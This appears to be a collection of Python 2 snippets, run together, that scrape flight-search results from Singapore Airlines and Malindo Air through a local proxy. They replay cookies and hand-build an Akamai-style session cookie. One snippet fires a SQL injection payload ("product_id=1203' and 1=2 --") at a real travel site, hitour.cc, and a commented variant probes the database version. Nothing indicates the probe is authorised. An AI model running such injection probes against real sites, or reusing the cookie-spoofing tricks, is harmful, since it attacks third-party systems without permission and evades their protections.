def on_get_cookie(self): man = self.browser.page.networkAccessManager() element = self.main_frame.findFirstElement("#searchForm") url = "http://www.singaporeair.com"+element.attribute("action") #request = QNetworkRequest() #request.setUrl(QUrl(url)) #request.setRawHeader("User-Agent", "MyOwnBrowser 1.0") #request.setRawHeader("Content-Type", "application/x-www-form-urlencoded") #reply = man.post(request,"fromHomePage=true&_payByMiles=on&_pwmFlightSearchCheckBox=on&recentSearches=&origin=PEK&destination=BKK&departureDay=23&departureMonth=042014&_tripType=on&returnDay=23&returnMonth=052014&cabinClass=Y&numOfAdults=1&numOfChildren=0&numOfInfants=0&_eventId_flightSearchEvent=&isLoggedInUser=false&numOfChildNominees=&numOfAdultNominees=") #reply.finished.connect(self.__on_reply_finished) #self.reply = reply curl = PtCurl(debug = True,proxy="127.0.0.1:8888") data = "fromHomePage=true&_payByMiles=on&_pwmFlightSearchCheckBox=on&recentSearches=&origin=PEK&destination=BKK&departureDay=23&departureMonth=042014&_tripType=on&returnDay=23&returnMonth=052014&cabinClass=Y&numOfAdults=1&numOfChildren=0&numOfInfants=0&_eventId_flightSearchEvent=&isLoggedInUser=false&numOfChildNominees=&numOfAdultNominees=" cookies =[] for c in man.cookieJar().allCookies(): cookies.append(str(c.name())+"="+str(c.value())) print self.main_frame.url().toString() res = curl.post(url, data,{ pycurl.HTTPHEADER:[ "Content-Type: application/x-www-form-urlencoded" ], pycurl.COOKIE:";".join(cookies), pycurl.REFERER:self.main_frame.url().toString(), pycurl.FOLLOWLOCATION:0 }) curl.get("http://www.singaporeair.com/booking-flow.form")
def test_open(self): curl = PtCurl(debug = True,proxy = "127.0.0.1:8888",cookie = "malindoair.txt" ) res = curl.get("http://www.malindoair.com/en") url = "https://search.malindoair.com/default.aspx?aid=91&df=UK&edepCity=&earrCity=&culture=en-GB&afid=0&b2b=0&St=fa&hotelcode=&councode=&adult2=0&child2=0&infant2=0&DFlight=false&roomcount=1¤cy=MYR&cpromo=&Jtype=1&depCity=DAC&arrCity=DPS&depDate=22%2F04%2F2014&adult1=1&child1=0&infant1=0&childage1r1=0&childage1r2=0&childage1r3=0&childage2r1=0&childage2r2=0&childage3r1=0&promocode=" res = curl.get(url) m = re.search("window.location.href = '([^']+)';",res) url = "https://search.malindoair.com/" + m.group(1) res = curl.get(url) res = curl.post("https://search.malindoair.com/Flight.aspx/GetFlightSearch","{}", { pycurl.REFERER:url, pycurl.HTTPHEADER:[ "Content-Type: application/json; charset=UTF-8", "X-Requested-With: XMLHttpRequest", ] })
from ptpy.ptcurl import PtCurl #url = "http://www.hitour.cc/index.php?route=detail/detail&product_id=1203' and 1=1 and ord(mid(version(),1,1)) = 51' " curl = PtCurl(debug = False) url = "http://www.hitour.cc/index.php?route=detail/detail&product_id=1203' and 1=2 --and ps.product_id = 1203 " res = curl.get(url) print res
class SqParse(): def __init__(self): self.curl = PtCurl() def get_execution(self,url = "http://www.singaporeair.com/SAA-flow.form?execution=e4s1"): return urlparse.urlparse(url).query.replace("execution=","") def open(self): self.curl = PtCurl(debug = True,proxy = "127.0.0.1:8888",cookie = "singaporeair.txt" ) url = "http://www.singaporeair.com/" res = self.curl.get(url) url = "http://www.singaporeair.com/SAA-flow.form" res = self.curl.get(url) refer = self.curl.EFFECTIVE_URL self.curl.get("http://www.singaporeair.com/breakingAlert.form", { pycurl.HTTPHEADER:[ "X-Requested-With: XMLHttpRequest" ] } ) location = self.curl.EFFECTIVE_URL r = {} r['r'] = refer r['s'] = str(time.time()).replace(".","")+"0" AKSB = urllib.urlencode(r) execution = self.get_execution_from_form(res) print execution #execution = self.get_execution(refer) #print execution url = "http://www.singaporeair.com/booking-flow.form?execution=" + execution.strip() origin = "PEK" dest = "BKK" d_month = "042014" d_day = "22" r_month = "052014" r_day = "5" data = "_payByMiles=on&_pwmFlightSearchCheckBox=on&recentSearches=&origin=PVG&destination=BKK&departureDay=23&departureMonth=042014&_tripType=on&returnDay=14&returnMonth=052014&cabinClass=Y&numOfAdults=1&numOfChildren=0&numOfInfants=0&_eventId_flightSearchEvent=&isLoggedInUser=false&numOfChildNominees=&numOfAdultNominees=" res = self.curl.post(url, data,{ pycurl.HTTPHEADER:[ "Content-Type: application/x-www-form-urlencoded" ], pycurl.REFERER:refer, pycurl.COOKIE:"AKSB="+AKSB }) #location = self.curl.EFFECTIVE_URL #print len(res) #self.curl.get(location,{ # pycurl.VERBOSE:2, # }) def get_execution_from_form(self,form = '<form id="searchForm" class="jQvalidateForm" action="/booking-flow.form?execution=e1s1" method="post">'): m = re.search("id=\"searchForm\" class=\"jQvalidateForm\" action=\"/booking-flow.form\?execution=([^\"]+)",form) return m.group(1)